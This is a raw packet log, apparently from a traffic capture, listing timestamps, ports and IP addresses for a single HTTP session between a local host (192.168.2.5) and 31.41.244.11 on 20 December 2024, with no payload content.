Dec 20, 2024 13:12:14.976185083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.976236105 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.976876020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.976929903 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.977036953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.977082014 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.977735996 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.977787971 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.977833033 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.977883101 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.978610039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.978661060 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.127825022 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.127995968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.128077030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.128077984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.128088951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.128099918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.128149033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.128870964 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.128926039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.128952026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.128999949 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.129764080 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.129815102 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.129837036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.129883051 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.130565882 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.130626917 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.130696058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.130743027 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.131381035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.131433964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.131462097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.131509066 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.132308960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.132359028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.132389069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.132440090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.133016109 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.133068085 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.133096933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.133146048 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.133915901 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.133985043 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.134026051 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.134076118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.134886026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.134933949 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.135015011 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.135067940 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.135766983 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.135816097 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.135829926 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.135932922 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.136411905 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.136466980 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.136519909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.136570930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.137223005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.137275934 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.137310982 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.137358904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.138072014 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.138144016 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.138211012 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.138258934 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.138933897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.138982058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.139012098 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.139061928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.139725924 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.139775991 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.139941931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.139991999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.140551090 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.140599966 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.140664101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.140716076 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.141400099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.141449928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.141457081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.141504049 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.142215967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.142266989 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.142350912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.142401934 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.143060923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.143110037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.143193960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.143244028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.143892050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.143940926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.143985033 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.144033909 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.144853115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.144901991 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.144982100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.145030022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.145546913 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.145598888 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.145652056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.145699978 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.146392107 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.146440983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.146477938 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.146531105 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.147217035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.147267103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.147341013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.147391081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.148068905 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.148087978 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.148119926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.148889065 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.148920059 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.148946047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.148989916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.149038076 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.149722099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.149770975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.149893045 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.149941921 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.150568962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.150623083 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.150654078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.150701046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.151405096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.151456118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.151509047 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.151555061 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.152268887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.152337074 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.152340889 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.152388096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.153131008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.153181076 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.153338909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.153386116 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.153913021 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.153959036 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.154019117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.154064894 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.154742956 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.154788017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.154934883 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.154980898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.155561924 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.155606985 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.155679941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.155725002 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.156424046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.156470060 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.156527996 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.156573057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.157242060 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.157289028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.157311916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.157357931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.158072948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.158118963 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.158200026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.158246040 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.158945084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.158993006 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.159135103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.159178972 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.159744024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.159790039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.159895897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.159941912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.160692930 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.160738945 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.160768032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.160813093 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.161421061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.161467075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.161552906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.161600113 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.162241936 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.162296057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.162379026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.162427902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.163124084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.163175106 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.163256884 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.163304090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.164139032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.164186954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.164205074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.164247990 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.164958000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.165004015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.165091038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.165141106 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.165715933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.165766001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.165791988 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.165831089 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.166472912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.166522980 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.166569948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.166615963 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.167270899 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.167325020 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.167351007 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.167396069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.168113947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.168165922 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.168214083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.168262959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.168920040 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.168977022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.169009924 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.169058084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.169763088 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.169816017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.169892073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.169935942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.170593023 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.170646906 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.170685053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.170733929 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.171395063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.171443939 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.330048084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.330147982 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.330167055 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.330204964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.330418110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.330478907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.330528021 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.330593109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.331449032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.331501007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.331682920 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.331732988 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.332185984 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.332237005 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.332269907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.332319975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.332958937 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.333013058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.333029032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.333075047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.333775997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.333839893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.333911896 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.333961964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.334652901 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.334703922 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.334816933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.334867954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.335484028 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.335535049 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.335618019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.335668087 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.336302996 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.336359024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.336399078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.336450100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.337171078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.337236881 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.337325096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.337376118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.338192940 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.338246107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.338377953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.338433027 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.338819027 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.338871956 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.338962078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.339013100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.339859009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.339910030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.339956045 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.340007067 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.341201067 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.341274977 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.341305971 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.341317892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.341344118 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.341362000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.341408968 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.342225075 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.342278004 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.342442989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.342493057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.343266010 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.343318939 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.343410015 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.343460083 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.343849897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.343900919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.344029903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.344086885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.344713926 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.344763994 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.344768047 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.344814062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.345472097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.345523119 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.345583916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.345634937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.346323967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.346374989 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.346434116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.346482992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.347124100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.347172022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.347229004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.347296953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.347963095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.348012924 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.348083019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.348130941 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.348830938 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.348880053 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.348917961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.348967075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.349664927 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.349714994 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.349750996 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.349806070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.350485086 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.350503922 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.350538015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.350558043 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.351447105 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.351499081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.351511002 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.351542950 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.352221012 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.352272034 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.352356911 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.352404118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.352968931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.353035927 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:15.353084087 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:15.353142977 CET	49831	80	192.168.2.5	31.41.244.11
